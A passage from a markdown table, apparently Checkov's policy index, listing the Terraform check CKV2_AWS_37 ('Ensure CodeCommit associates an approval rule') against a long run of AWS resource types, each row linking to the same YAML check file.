Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 965 | CKV2_AWS_37 | resource | aws_datazone_glossary_term | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 966 | CKV2_AWS_37 | resource | aws_datazone_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 967 | CKV2_AWS_37 | resource | aws_datazone_user_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 968 | CKV2_AWS_37 | resource | aws_dax_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 969 | CKV2_AWS_37 | resource | aws_dax_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 970 | CKV2_AWS_37 | resource | aws_dax_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 971 | CKV2_AWS_37 | resource | aws_db_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 972 | CKV2_AWS_37 | resource | aws_db_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 973 | CKV2_AWS_37 | resource | aws_db_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 974 | CKV2_AWS_37 | resource | aws_db_instance_automated_backups_replication | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 975 | CKV2_AWS_37 | resource | aws_db_instance_role_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 976 | CKV2_AWS_37 | resource | aws_db_option_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 977 | CKV2_AWS_37 | resource | aws_db_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 978 | CKV2_AWS_37 | resource | aws_db_proxy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 979 | CKV2_AWS_37 | resource | aws_db_proxy_default_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 980 | CKV2_AWS_37 | resource | aws_db_proxy_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 981 | CKV2_AWS_37 | resource | aws_db_proxy_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 982 | CKV2_AWS_37 | resource | aws_db_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 983 | CKV2_AWS_37 | resource | aws_db_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 984 | CKV2_AWS_37 | resource | aws_db_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 985 | CKV2_AWS_37 | resource | aws_db_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 986 | CKV2_AWS_37 | resource | aws_default_network_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 987 | CKV2_AWS_37 | resource | aws_default_route_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 988 | CKV2_AWS_37 | resource | aws_default_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 989 | CKV2_AWS_37 | resource | aws_default_subnet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 990 | CKV2_AWS_37 | resource | aws_default_vpc | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 991 | CKV2_AWS_37 | resource | aws_default_vpc_dhcp_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 992 | CKV2_AWS_37 | resource | aws_detective_graph | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 993 | CKV2_AWS_37 | resource | aws_detective_invitation_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 994 | CKV2_AWS_37 | resource | aws_detective_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 995 | CKV2_AWS_37 | resource | aws_detective_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 996 | CKV2_AWS_37 | resource | aws_detective_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 997 | CKV2_AWS_37 | resource | aws_devicefarm_device_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 998 | CKV2_AWS_37 | resource | aws_devicefarm_instance_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 999 | CKV2_AWS_37 | resource | aws_devicefarm_network_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1000 | CKV2_AWS_37 | resource | aws_devicefarm_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1001 | CKV2_AWS_37 | resource | aws_devicefarm_test_grid_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1002 | CKV2_AWS_37 | resource | aws_devicefarm_upload | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1003 | CKV2_AWS_37 | resource | aws_devopsguru_event_sources_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1004 | CKV2_AWS_37 | resource | aws_devopsguru_notification_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1005 | CKV2_AWS_37 | resource | aws_devopsguru_resource_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1006 | CKV2_AWS_37 | resource | aws_devopsguru_service_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1007 | CKV2_AWS_37 | resource | aws_directory_service_conditional_forwarder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1008 | CKV2_AWS_37 | resource | aws_directory_service_directory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1009 | CKV2_AWS_37 | resource | aws_directory_service_log_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1010 | CKV2_AWS_37 | resource | aws_directory_service_radius_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1011 | CKV2_AWS_37 | resource | aws_directory_service_region | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1012 | CKV2_AWS_37 | resource | aws_directory_service_shared_directory | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1013 | CKV2_AWS_37 | resource | aws_directory_service_shared_directory_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1014 | CKV2_AWS_37 | resource | aws_directory_service_trust | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1015 | CKV2_AWS_37 | resource | aws_dlm_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1016 | CKV2_AWS_37 | resource | aws_dms_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1017 | CKV2_AWS_37 | resource | aws_dms_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1018 | CKV2_AWS_37 | resource | aws_dms_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1019 | CKV2_AWS_37 | resource | aws_dms_replication_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1020 | CKV2_AWS_37 | resource | aws_dms_replication_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1021 | CKV2_AWS_37 | resource | aws_dms_replication_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1022 | CKV2_AWS_37 | resource | aws_dms_replication_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1023 | CKV2_AWS_37 | resource | aws_dms_s3_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1024 | CKV2_AWS_37 | resource | aws_docdb_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1025 | CKV2_AWS_37 | resource | aws_docdb_cluster_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1026 | CKV2_AWS_37 | resource | aws_docdb_cluster_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1027 | CKV2_AWS_37 | resource | aws_docdb_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1028 | CKV2_AWS_37 | resource | aws_docdb_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1029 | CKV2_AWS_37 | resource | aws_docdb_global_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1030 | CKV2_AWS_37 | resource | aws_docdb_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1031 | CKV2_AWS_37 | resource | aws_docdbelastic_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1032 | CKV2_AWS_37 | resource | aws_drs_replication_configuration_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1033 | CKV2_AWS_37 | resource | aws_dx_bgp_peer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1034 | CKV2_AWS_37 | resource | aws_dx_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1035 | CKV2_AWS_37 | resource | aws_dx_connection_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1036 | CKV2_AWS_37 | resource | aws_dx_connection_confirmation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1037 | CKV2_AWS_37 | resource | aws_dx_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1038 | CKV2_AWS_37 | resource | aws_dx_gateway_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1039 | CKV2_AWS_37 | resource | aws_dx_gateway_association_proposal | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1040 | CKV2_AWS_37 | resource | aws_dx_hosted_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1041 | CKV2_AWS_37 | resource | aws_dx_hosted_private_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1042 | CKV2_AWS_37 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1043 | CKV2_AWS_37 | resource | aws_dx_hosted_public_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1044 | CKV2_AWS_37 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1045 | CKV2_AWS_37 | resource | aws_dx_hosted_transit_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1046 | CKV2_AWS_37 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1047 | CKV2_AWS_37 | resource | aws_dx_lag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1048 | CKV2_AWS_37 | resource | aws_dx_macsec_key_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1049 | CKV2_AWS_37 | resource | aws_dx_private_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1050 | CKV2_AWS_37 | resource | aws_dx_public_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1051 | CKV2_AWS_37 | resource | aws_dx_transit_virtual_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1052 | CKV2_AWS_37 | resource | aws_dynamodb_contributor_insights | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1053 | CKV2_AWS_37 | resource | aws_dynamodb_global_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1054 | CKV2_AWS_37 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1055 | CKV2_AWS_37 | resource | aws_dynamodb_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1056 | CKV2_AWS_37 | resource | aws_dynamodb_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1057 | CKV2_AWS_37 | resource | aws_dynamodb_table_export | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1058 | CKV2_AWS_37 | resource | aws_dynamodb_table_item | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1059 | CKV2_AWS_37 | resource | aws_dynamodb_table_replica | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1060 | CKV2_AWS_37 | resource | aws_dynamodb_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1061 | CKV2_AWS_37 | resource | aws_ebs_default_kms_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1062 | CKV2_AWS_37 | resource | aws_ebs_encryption_by_default | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1063 | CKV2_AWS_37 | resource | aws_ebs_fast_snapshot_restore | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1064 | CKV2_AWS_37 | resource | aws_ebs_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1065 | CKV2_AWS_37 | resource | aws_ebs_snapshot_block_public_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1066 | CKV2_AWS_37 | resource | aws_ebs_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1067 | CKV2_AWS_37 | resource | aws_ebs_snapshot_import | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1068 | CKV2_AWS_37 | resource | aws_ebs_volume | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1069 | CKV2_AWS_37 | resource | aws_ec2_availability_zone_group | Ensure CodeCommit associates an approval rule | Terraform | 